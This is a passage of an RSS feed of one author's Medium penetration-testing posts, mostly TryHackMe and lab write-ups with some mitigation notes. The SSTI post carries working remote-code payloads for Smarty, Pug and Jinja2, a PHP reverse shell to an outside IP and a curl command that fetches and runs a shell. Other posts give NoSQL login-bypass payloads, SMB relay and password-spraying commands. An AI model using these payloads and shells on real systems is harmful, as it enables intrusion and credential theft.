workflow.</p><h3>Official References</h3><ul><li><a href="https://www.thc.org/segfault/?utm_source=chatgpt.com">Segfault official site</a></li><li><a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">Segfault FAQ</a></li><li><a href="https://github.com/hackerschoice/segfault?utm_source=chatgpt.com">Segfault GitHub repository</a></li><li><a href="https://www.thc.org/segfault/gui/?utm_source=chatgpt.com">Segfault GUI documentation</a></li><li><a href="https://www.thc.org/segfault/wireguard/?utm_source=chatgpt.com">Segfault WireGuard documentation</a></li><li><a href="https://www.thc.org/segfault/token/?utm_source=chatgpt.com">Segfault token documentation</a></li><li><a href="https://www.thc.org/segfault/faq/winscp/?utm_source=chatgpt.com">Segfault WinSCP guide</a></li></ul><p><strong>Important distinction:</strong> if your goal is simply to use Segfault for pentesting, <strong>you do not need to install Segfault on Kali</strong>. Install an SSH client, connect tosegfault.net, preserve your SECRET, and use the provided environment. If your goal is to <strong>build your own Segfault infrastructure</strong>, use the GitHub Server Centre deployment procedure above.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d5fa11c0d6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AdaptixC2 — Installation and Initial Configuration]]></title>
            <link>https://medium.com/@muhammadjubairsec/adaptixc2-installation-and-initial-configuration-ab1769d021e4?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab1769d021e4</guid>
            <category><![CDATA[c2-server]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[adaptixc2]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Mon, 10 Aug 2026 16:00:24 GMT</pubDate>
            <atom:updated>2026-08-10T16:01:33.540Z</atom:updated>
            <content:encoded><![CDATA[<p>Resources &amp; Links:</p><pre>https://github.com/Adaptix-Framework/AdaptixC2</pre><p>Extention Kit:</p><pre>https://github.com/Adaptix-Framework/Extension-Kit</pre><p>Recommended Lab Setup Guide:</p><pre>https://adaptix-framework.gitbook.io/adaptix-framework</pre><p>Step-by-Step Screenshots:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*ULBujXds3Sqbbh-mP7ZoFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*Ji8N7SrrdCliYogpL8lUHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RWuo2cD-MIzI1b5IDx_N1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*MrgTC0AxrMB7wZnfTZeXKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*lDjI5O_b_Buw_SwcXN59mg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*S_TtCUsX2o9i7SkLKycQSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*IC5V1C4I7ymeXx7p_sfVeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*wYYj-LxqOO9UDzSGevYM8w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*HtR8S7iq1-oLDWvjeKMD6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*7WAek8CVD9mViDacL8Dw4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*tKFOkj2I6pT0xr4Ggn0oSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*TIciwY9BDjVTqlpBSneE3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*LszxN5IFE1YZaHfOUTnpYg.png" /><figcaption>Password in profile.yaml</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*GRkCgSODs377VtY1SisOaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*l5WDNaoyLPpcnGnBhFm5lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*i4_FdUOjQ0piT48vLgIR6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*gE3RYrhSAGdS3UnWg5earw.png" /><figcaption>If exists , remove it</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*Mcac7nnNfQ2wWVfIHot6dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*yP741we5QFQDpCBwJDtQ8g.png" /><figcaption>Double click .axs file for initializ all Extentions</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab1769d021e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-side Template Injection (tryhackme room)]]></title>
            <link>https://medium.com/@muhammadjubairsec/server-side-template-injection-tryhackme-room-30d49b225497?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/30d49b225497</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ssti-exploitation]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[ssti]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Wed, 05 Aug 2026 10:52:38 GMT</pubDate>
            <atom:updated>2026-08-05T10:52:38.131Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMOrsz_ex6Wad4Xew-Kn0A.png" /></figure><h3>Lab Setup</h3><p>Cmd: Run as Administrator</p><pre>C:\Windows\System32\drivers\etc&gt;echo 10.49.138.133 ssti.thm &gt;&gt; %windir%\System32\drivers\etc\hosts</pre><p><strong>Step 1: Detection</strong></p><p>Payload</p><pre>{{7*&#39;7&#39;}} <br> #{7*7}<br> ${7*7}<br> {{7*7}}<br> &lt;%= 7*7 %&gt;</pre><p><strong>Step 2: Identification</strong></p><pre>${7*7}<br>                         /      \<br>                 Evaluated      Not Evaluated<br>                   /                  \<br>             {{7*7}}                  a{*comment*}b<br>             /     \                  /          \<br>      Evaluated   Not Evaluated   Returns ab   Not Returns<br>         /              \             /               \<br>   Jinja2/Twig        Mako        Smarty            Freemarker</pre><p><strong>Jinja2/Twig</strong></p><p>However, if you use the same payload in an application that uses Jinja2, the output would be 7777777</p><p><strong>Jade/Pug</strong></p><p>Pug, formerly known as Jade, uses a different syntax for handling<br> expressions, which can be exploited to identify its usage. Pug/Jade<br> evaluates JavaScript expressions within #{}. For example, using the payload #{7*7} would return 49.</p><p>Unlike Jinja2 or Twig, Pug/Jade directly allows JavaScript execution within its templates without the need for additional delimiters like {{ }}. For example:</p><p><strong>Step 3: Exploitation</strong></p><p>PHP smarty Exploitation</p><pre>{&#39;Hello&#39;|upper}<br>{system(&quot;ls&quot;)}<br>{system(&quot;cat 7c45b2d3a741398826f497d58b73a401.txt &quot;)}</pre><p>Flag</p><pre>THM{0739eea78f5c7f4b1690737c6258e38b}</pre><p>NodeJS Pug Exploitation</p><pre>**#{7*7} = 49 = working</pre><pre>#{root.process.mainModule.require(&#39;child_process&#39;).spawnSync(&#39;ls&#39;).stdout}</pre><pre>1. Directory Listing (ls -lah)<br>#{root.process.mainModule.require(&#39;child_process&#39;).spawnSync(&#39;ls&#39;, [&#39;-lah&#39;]).stdout}</pre><pre>2. Reading the Specific File (cat 7f58571b42d8c477a2f3efa69a681ac3.txt)<br>#{root.process.mainModule.require(&#39;child_process&#39;).spawnSync(&#39;cat&#39;, [&#39;7f58571b42d8c477a2f3efa69a681ac3.txt&#39;]).stdout}**</pre><p>Flag</p><pre>THM{1f8c3b32ad3217e84c145398bae00876}</pre><p>Python- Jinja2 Exploitation</p><pre>{{7*7}} = 49 = working</pre><p>Once Jinja2’s use is confirmed, we can the use the payload</p><pre>{{&quot;&quot;.__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get(&quot;__builtins__&quot;).get(&quot;__import__&quot;)(&quot;subprocess&quot;).check_output(&quot;ls&quot;)}}</pre><p>Below is the breakdown of the above payload:</p><pre>{{&quot;&quot;.__class__.__mro__[1].__subclasses__()}}</pre><p>The subsequent method chains dynamically import and use the subprocess module to execute the ls command, capturing its output.</p><p>Payload 0: working</p><pre>{{&quot;&quot;.__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get(&quot;__builtins__&quot;).get(&quot;__import__&quot;)(&quot;subprocess&quot;).check_output([&#39;ls&#39;, &#39;-lah&#39;])}}</pre><p>Payload 1: Direct Index Fix (Most Stable)</p><pre>{{&quot;&quot;__class__.__mro__[1].__subclasses__()[157].__init__.__globals__[&quot;__builtins__&quot;][&quot;__import__&quot;](&quot;subprocess&quot;).check_output([&quot;cat&quot;, &quot;7f58571b42d8c477a2f3efa69a681ac3.txt&quot;])}}</pre><p>Payload 2: Universal Bypass (No Index Needed)</p><pre>{{url_for.__globals__[&quot;__builtins__&quot;][&quot;__import__&quot;](&quot;subprocess&quot;).check_output(&quot;cat *.txt&quot;, shell=True)}}</pre><p>Flag</p><pre>THM{ecc43642dd6934d37c69598174e6e126}</pre><p>Payload 3: Direct Request Context Bypass (Shortest)</p><pre>{{request.application.__self__._get_data_for_json.__globals__[&quot;json&quot;].JSONEncoder.__init__.__globals__[&quot;__builtins__&quot;][&quot;__import__&quot;](&quot;os&quot;).popen(&quot;cat *txt&quot;).read()}}</pre><h3>Automating the Exploitation</h3><p><strong>SSTImap</strong></p><ol><li><strong>Clone the Repository</strong>:</li></ol><ul><li>git clone &lt;https://github.com/vladko312/SSTImap.git&gt;</li></ul><ol><li><strong>Navigate to the SSTImap Directory</strong>:</li></ol><ul><li>cd SSTImap</li></ul><ol><li><strong>Install Dependencies</strong> (if any are listed, usually via a requirements.txt):</li></ol><ul><li>pip install -r requirements.txt</li></ul><p>SSTImap is capable of the following:</p><ul><li><strong>Template Engine Detection</strong>: SSTImap can help identify the template engine used by a web application, which is crucial for crafting specific exploits.</li><li><strong>Automated Exploitation</strong>: For known vulnerabilities, SSTImap can automate the process of exploiting them.</li></ul><p>You can use SSTImap by providing it with the target URL and any necessary options. Here’s a simple usage example:</p><pre>python3 sstimap.py -X POST -u &#39;&lt;http://ssti.thm:8002/mako/&gt;&#39; -d &#39;page=&#39;</pre><h3>Extra-Mile Challange _ Also taking RCE</h3><p><strong>Login credentials:</strong></p><ul><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: admin</li></ul><p>Click Update</p><p>Update group name</p><pre>{system(&quot;ls&quot;)}</pre><p>output</p><p>Payload</p><pre>{system(&quot;cat /var/www/html/105e15924c1e41bf53ea64afa0fa72b2.txt&quot;)}</pre><p>Flag</p><pre>THM{w0rK1Ng_sST1}</pre><h3>RCE</h3><h4>Windows machine via PowerShell nc opening</h4><pre>$s=[System.Net.Sockets.TcpListener]1234;$s.Start();Write-Host &#39;Listening on 1234...&#39;;$c=$s.AcceptTcpClient();$r=[System.IO.StreamReader]($c.GetStream());Write-Output $r.ReadLine();$c.Close();$s.Stop()</pre><h3>Over the created form’s group name section</h3><pre>{{exec(&quot;php -r &#39;\$s=fsockopen(\&quot;192.168.169.217\&quot;,1234);while(!feof(\$s)){fwrite(\$s,shell_exec(fgets(\$s)));}&#39;&quot;)}}</pre><h3>Another RCE via PHP reverse shell downloaded from pentestmonkey</h3><pre>{{system/exec(çurl -o /tmp &lt;http://10.10.10.10:8000/shell.php&gt; &amp;&amp; php/tmp/shell/php&#39;)}}</pre><h3>Using this we can get a shell for sure</h3><h3>Mitigation</h3><p>Server-side Template Injection ()<br> can be mitigated by following best practices and implementing security<br> measures in the application’s code. Here’s how to mitigate in Smarty, Jade, and Jinja2:</p><h3>Jinja2</h3><ol><li><strong>Mode</strong>: Enable the sandboxed environment in<br> Jinja2 to restrict the template’s ability to access unsafe functions and attributes. This prevents the execution of arbitrary Python code. For<br> example:</li></ol><p>from jinja2 import Environment, select_autoescape, sandbox env = Environment( autoescape=select_autoescape([&#39;html&#39;, &#39;xml&#39;]), extensions=[sandbox.SandboxedEnvironment] )</p><ol><li><strong>Input Sanitization</strong>: Always sanitize inputs to<br> escape or remove potentially dangerous characters and strings that can<br> be interpreted as code. This is crucial when inputs are directly used in template expressions.</li><li><strong>Template Auditing</strong>: Regularly review and audit templates for insecure coding patterns, such as directly embedding user input without sanitization.</li></ol><h3>Jade (Pug)</h3><ol><li><strong>Avoid Direct JavaScript Evaluation</strong>: Restrict or<br> avoid using Pug’s ability to evaluate JavaScript code within templates.<br> Use alternative methods to handle dynamic content that do not involve<br> direct code execution. For example:</li></ol><ul><li>var user = !{JSON.stringify(user)} h1= user.name</li></ul><ol><li>Use !{} carefully as it allows unescaped output, which can be harmful. Prefer #{} which escapes HTML by default.</li><li><strong>Validate and Sanitize Inputs</strong>: Ensure all user<br> inputs are validated against a strict schema and sanitized before they<br> are rendered by the template engine. This reduces the risk of malicious<br> code execution.</li><li><strong>Secure Configuration Settings</strong>: Use environment<br> settings and configuration options that minimize risks, such as<br> disabling any features that allow script execution.</li></ol><h3>Smarty</h3><ol><li><strong>Disable </strong><strong>{php} Tags</strong>: Ensure that {php} tags are disabled in Smarty configurations to prevent the execution of code within templates.</li></ol><ul><li>$smarty-&gt;security_policy-&gt;php_handling = Smarty::PHP_REMOVE; $smarty-&gt;disable_security = false;</li></ul><ol><li><strong>Use Secure Handlers</strong>: If you must allow users to<br> customize templates, provide a secure set of tags or modifiers that they can use, which do not allow direct command execution or shell access.</li><li><strong>Regular Security Reviews</strong>: Conduct security<br> reviews of the template files and the data handling logic to ensure that no unsafe practices are being used. Regularly update Smarty to keep up<br> with security patches.</li></ol><h3>Sandboxing in Template Engines</h3><p>Sandboxing is a security feature that restricts the execution of<br> potentially harmful code within templates. It limits the actions that<br> templates can perform, such as file operations or system command<br> execution. Proper sandboxing helps prevent security issues like .</p><p><strong>Importance of Sandboxing</strong></p><ul><li><strong>Function Restrictions</strong>: Limits the functions or methods that can be called from within the template, blocking potentially harmful operations.</li><li><strong>Variable and Data Access</strong>: Controls access to global variables or sensitive data, ensuring templates cannot manipulate or expose critical information.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30d49b225497" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NoSQL Injection (tryhackme room)]]></title>
            <link>https://medium.com/@muhammadjubairsec/nosql-injection-tryhackme-room-a2e67755d132?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2e67755d132</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[nosql]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Sat, 01 Aug 2026 19:02:41 GMT</pubDate>
            <atom:updated>2026-08-05T07:07:29.858Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmtkOuvCZRUo4McuqxuiVg.png" /></figure><p>Number 1 Test on BurpSuite Repeater</p><pre>user[$ne]=sdzxx&amp;pass[$ne]=cx+xx&amp;remember=on</pre><p>Number 2 Test on BurpSuite Repeater</p><pre>user[$nin][]=admin&amp;user[$nin][]=pedro&amp;pass[$ne]=ad%2Ch&amp;remember=on</pre><p>Guessing Password[Character Length] on BurpSuite Repeater</p><pre>user=admin&amp;pass[$regex]=^.{8}$&amp;remember=on</pre><p>Output</p><pre>HTTP/1.1 302 Found<br>Date: Sat, 01 Aug 2026 17:44:26 GMT<br>Server: Apache/2.4.41 (Ubuntu)<br>Set-Cookie: PHPSESSID=fkubmf17rc13sur1pjthbn6rn6; path=/<br>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate<br>Pragma: no-cache<br>Location: /sekr3tPl4ce.php<br>Content-Length: 0<br>Connection: close<br>Content-Type: text/html; charset=UTF-8</pre><p>Guessing Password on BurpSuite Repeater</p><pre>user=admin&amp;pass[$regex]=^a......$&amp;remember=on</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*q7lPJf5d3cO7qoxIjP3Puw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*3o4VTuwBb__Haw8u4kEMhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*08sD3JME4EPZHCDjKU8YvA.png" /></figure><p>Syntax Injection</p><pre>1. email:admin&#39; &amp;&amp; 0 &amp;&amp; &#39;x<br>2. email:admin&#39;</pre><pre>email:admin&#39;||&#39;admin@nosql.int</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*KAKyqKKpYL6wShQsnabQMA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2e67755d132" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Internal Penetration Testing: A Real-World Guide to SMB Relay Attacks]]></title>
            <link>https://medium.com/@muhammadjubairsec/internal-penetration-testing-a-real-world-guide-to-smb-relay-attacks-c197fba6db74?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c197fba6db74</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[network-penetration]]></category>
            <category><![CDATA[internal-penetration]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[smb-relay-attack]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 20:37:06 GMT</pubDate>
            <atom:updated>2026-06-12T20:37:06.691Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*69D_Rk1hlO4sk8RCAX4q6w.png" /></figure><p>During an internal penetration testing engagement or an Active Directory (AD) simulation lab, capturing hashes is only half the battle. If you want to achieve Domain Admin or gain low-noise execution across a corporate network without cracking a single password, <strong>SMB Relay</strong> is your silver bullet.</p><p>In this write-up, we will walk through a professional, end-to-end workflow using <strong>NetExec (</strong><strong>nxcResponder</strong>, and <strong>Impacket’s </strong><strong>ntlmrelayx</strong>. We will also cover real-world troubleshooting steps for when your tools inevitably clash over system ports.</p><h3>The Core Concept: Why SMB Relay?</h3><p>Windows systems frequently use local multicast protocols like <strong>LLMNR</strong> and <strong>NBT-NS</strong> to resolve names when DNS queries fail. Attackers can poison these requests to capture authentication hashes.</p><p>However, if <strong>SMB Packet Signing</strong> is disabled (signing: False) on target servers, we don’t need to spend hours brute-forcing those hashes in Hashcat. Instead, we can intercept the inbound authentication request and <strong>relay</strong> it to another machine on the network, granting us instant administrative access.</p><pre>[Victim Workstation] ----(Authentication Request)----&gt; [Kali Linux (Attacker)]<br>                                                               |<br>                                                       (Relays Credentials)<br>                                                               v<br>                                                    [Target Server (Signing: False)]</pre><h3>Phase 1: Reconnaissance &amp; Target Identification</h3><p>We cannot relay authentication to just any machine. The destination host <strong>must have SMB Signing disabled</strong>. We can use <strong>NetExec (</strong><strong>nxc)</strong> to sweep the network and automatically generate a target file containing only vulnerable hosts.</p><p>Run the following command to scan your target subnet:</p><pre>nxc smb 192.168.16.0/24 --gen-relay-list relay-list.txt</pre><h3>Analyzing the Output:</h3><ul><li>192.168.16.136 (signing:False) -&gt; <strong>Vulnerable!</strong> Added to relay-list.txt.</li><li>192.168.16.138 (signing:True) -&gt; <strong>Secure.</strong> This server requires cryptographic signatures; relaying will fail here.</li><li>192.168.16.135 (signing:False) -&gt; <strong>Vulnerable!</strong> Added to relay-list.txt.</li></ul><h3>Phase 2: Preparing the Environment (The Pitfalls of Port Conflicts)</h3><p>Before spinning up our relay listener, we must ensure our attacker machine isn’t blocking its own ports. Tools like native Samba daemons or background scripts can create binding errors.</p><p>When firing up ntlmrelayx:</p><pre>sudo impacket-ntlmrelayx -tf relay-list.txt -smb2support</pre><p>You might encounter this frustrating traceback error:<br>OSError: [Errno 98] Address already in use</p><p>This happens because ntlmrelayx attempts to spin up listeners on ports <strong>135 (RPC)</strong>, <strong>80 (HTTP)</strong>, <strong>445 (SMB)</strong>, and <strong>5985/5986 (WinRM)</strong>. If another tool is using them, it crashes.</p><h3>The Fix:</h3><ol><li><strong>Locate the offending PID:</strong></li></ol><p>sudo ss -lnpt | grep -E &#39;135|5985|5986&#39;</p><p><strong>Clear out legacy sessions:</strong></p><p>sudo killall -9 python3</p><p><strong>Run with targeted bypasses if needed:</strong> If you only want to focus on raw SMB relaying, you can explicitly tell the tool to skip RPC and WinRM bindings:</p><p>sudo impacket-ntlmrelayx -tf relay-list.txt -smb2support -no-rpc -no-winrm</p><p>Now, the script should sit stably with:<br>[*] Servers started, waiting for connections</p><h3>Phase 3: Setting the Trap with Responder</h3><p>To catch authentications passively, we must configure <strong>Responder</strong> to act purely as a poisoning engine without interfering with our relay server.</p><ol><li>Open your configuration file: sudo nano /etc/responder/Responder.conf</li><li>Change the server status flags to <strong>Off</strong></li></ol><ul><li>SMB = Off</li><li>HTTP = Off</li></ul><p>Launch Responder over your network interface:</p><ul><li>sudo responder -I eth0 -dwv</li></ul><p>Now, Responder will poison broadcast requests (LLMNR/NBNS), routing the victims directly into our active ntlmrelayx server running on ports 80 and 445.</p><h3>Phase 4: Executing and Triggering the Relay</h3><p>An SMB relay listener is passive; it requires an event to trigger a network connection. In an enterprise environment, this can happen naturally when a user mistypes a network share pathway (e.g., typing \\fileservr instead of \\fileserver).</p><p>To actively force execution during an assessment, we can use an interactive flag (-i) to drop us into a command shell once hooked:</p><pre>sudo impacket-ntlmrelayx -tf relay-list.txt -smb2support -i</pre><p>Once a user hooks onto your listener:</p><ol><li>ntlmrelayx intercepts the request.</li><li>It forwards it to a vulnerable host from relay-list.txt.</li><li>If the relaying user has local administrative privileges on that target, the console logs: AUTHENTICATING AGAINST smb://192.168.16.136 SUCCEEDED.</li><li>It initializes an interactive loopback or exposes a SAM database dump containing local user hashes.</li></ol><h3>Defensive Mitigations: How to Stop This Attack</h3><p>If you are operating on the defensive side (Blue Team), stopping an SMB Relay attack is straightforward:</p><ol><li><strong>Enforce SMB Signing:</strong> Use Group Policy Objects (GPO) to set Microsoft network server: Digitally sign communications (always) to <strong>Enabled</strong>.</li><li><strong>Disable Legacy Protocols:</strong> Turn off LLMNR and NBT-NS across all workstations and servers. Use DNS exclusively for name resolution.</li><li><strong>Network Segmentation:</strong> Place high-value assets like Domain Controllers and database servers into restricted zones where workstations cannot directly authenticate to them via unmonitored ports.</li></ol><p>Watch On Youtube: <a href="https://youtu.be/EF-uO2VHlbA">https://youtu.be/EF-uO2VHlbA</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c197fba6db74" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NTLM Password Spray Attack]]></title>
            <link>https://medium.com/@muhammadjubairsec/ntlm-password-spray-attck-0b18840ee68b?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b18840ee68b</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[internal-penetration]]></category>
            <category><![CDATA[ntlm]]></category>
            <category><![CDATA[password-spraying]]></category>
            <category><![CDATA[netntlm]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Thu, 11 Jun 2026 10:11:23 GMT</pubDate>
            <atom:updated>2026-06-11T12:13:21.696Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eqtPJlHgjxHFPpefTIeUlw.png" /></figure><p><strong>TryHackMe Room: Breaching Active Directory</strong></p><p>Step 1: Connect with your OVPN file<br>Step 2: Connect with the AD Breach OVPN file for Internel Connection<br>Step 3: Do it in your Terminal</p><blockquote>sudo bash -c ‘echo -e “nameserver 10.200.70.101\nnameserver 1.1.1.1” &gt; /etc/resolv.conf’</blockquote><blockquote>cat /etc/resolv.conf</blockquote><blockquote>nslookup <a href="http://ntlmauth.za.tryhackme.com/">za.tryhackme.com</a></blockquote><p>Step 4: Download the task file, unzip the file, and change the directory to that folder<br>Step 5: Open Terminal Here<br>Step 6: Now run this,</p><blockquote>python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a <a href="http://ntlmauth.za.tryhackme.com/">http://ntlmauth.za.tryhackme.com/</a></blockquote><p>My YouTube Video : <a href="https://youtu.be/2rblRkpaHDY">https://youtu.be/2rblRkpaHDY</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b18840ee68b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Discover printers during an internal penetration testing engagement]]></title>
            <link>https://medium.com/@muhammadjubairsec/discover-printers-during-an-internal-penetration-testing-engagement-using-nmap-and-other-recon-24d27e3d4b66?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/24d27e3d4b66</guid>
            <category><![CDATA[ldap]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[recon]]></category>
            <category><![CDATA[printers]]></category>
            <category><![CDATA[pass-back-attack]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Thu, 11 Jun 2026 04:45:57 GMT</pubDate>
            <atom:updated>2026-06-12T20:46:06.189Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZrUzJDAubcPXTsKSlGDpmA.png" /></figure><p>Here is the comprehensive guide on how to discover printers during an internal penetration testing engagement using <strong>Nmap</strong> and other <strong>Recon</strong> techniques.</p><p>Printers are high-value targets because they often run outdated firmware, use default credentials, and frequently cache Active Directory domain credentials.</p><h3>1. Port Scanning with Nmap (The Fastest Method)</h3><p>Printers rely on specific operational protocols. You can isolate them quickly by targeting these exact ports across the internal subnet.</p><h3>A. Quick Port Sweep</h3><pre>nmap -p 9100,515,631,2501,445,161,80,443 --open 192.168.16.0/24</pre><p><strong>Port Breakdown:</strong></p><ul><li><strong>9100 (JetDirect):</strong> The most common raw printing port.</li><li><strong>515 (LPD):</strong> Line Printer Daemon protocol.</li><li><strong>631 (IPP):</strong> Internet Printing Protocol.</li><li><strong>161 (SNMP):</strong> Used for printer management and configuration status.</li><li><strong>80 / 443:</strong> The web management interface (Web GUI) of the printer.</li></ul><h3>B. Service and OS Fingerprinting</h3><pre>nmap -sV -O -p 9100,631,161 --script=banner 192.168.16.0/24</pre><ul><li><strong>Why this works:</strong> This command grabs service banners and attempts OS detection. The output will explicitly name vendors like <strong>HP</strong>, <strong>Canon</strong>, <strong>Xerox</strong>, <strong>Ricoh</strong>, or <strong>Brother</strong>.</li></ul><h3>2. SNMP Reconnaissance (The Goldmine)</h3><p>Printers almost always have <strong>SNMP</strong> (Simple Network Management Protocol) enabled, and they often use the default community string public. This exposes critical device details.</p><h3>A. Nmap SNMP Scripts</h3><pre>nmap -sU -p 161 --script=snmp-sysdescr,snmp-interfaces 192.168.16.0/24</pre><ul><li><strong>Result:</strong> Since SNMP runs over UDP (-sUThis script queries the system description to return the exact model number, firmware version, and device name.</li></ul><h3>B. Fast Subnet Sweeping with onesixtyone</h3><pre>onesixtyone -c communities.txt 192.168.16.0/24</pre><ul><li><strong>Why this works:</strong> It brute-forces community strings simultaneously across the range, instantly identifying active printers responding to public or private.</li></ul><h3>3. Advanced Discovery Techniques</h3><h3>A. Automated Web Screenshots via EyeWitness</h3><p>Once you find active web servers on ports 80/443, extract those IPs to a file (targets.txt) and run:</p><pre>eyewitness --web -f targets.txt</pre><ul><li><strong>Result:</strong> It compiles an HTML report with visual screenshots of the login pages, making it easy to identify printer control panels at a glance.</li></ul><h3>B. Exploiting mDNS / Bonjour (Local Broadcasts)</h3><p>Printers constantly broadcast their presence to Windows and macOS devices using <strong>mDNS (Multicast DNS)</strong>. You can sniff out these broadcasts using Nmap:</p><pre>nmap -p 5353 --script=dns-service-discovery 192.168.16.0/24</pre><h3>Next Steps After Identifying Printers</h3><ol><li><strong>Default Credentials:</strong> Search Google for the specific model’s manual to find default logins (e.g., admin/admin, admin/password, admin/blank).</li><li><strong>Credential Harvesting:</strong> Check the printer’s LDAP/SMTP settings. If “Save Credentials” is enabled for network scanning, you can modify the server IP to point to your Kali machine and intercept the domain service account credentials.</li><li><strong>PRET (Printer Exploitation Toolkit):</strong> If port 9100 is open, use PRET to connect to the device. It allows you to read printer memory, dump print jobs, or access the underlying file system.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24d27e3d4b66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Enumeration & Password Spraying Notes]]></title>
            <link>https://medium.com/@muhammadjubairsec/active-directory-enumeration-password-spraying-notes-1a8a71adfa07?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a8a71adfa07</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ldap]]></category>
            <category><![CDATA[internal-penetration]]></category>
            <category><![CDATA[kerberos-authentication]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Tue, 09 Jun 2026 14:05:58 GMT</pubDate>
            <atom:updated>2026-06-09T15:09:11.954Z</atom:updated>
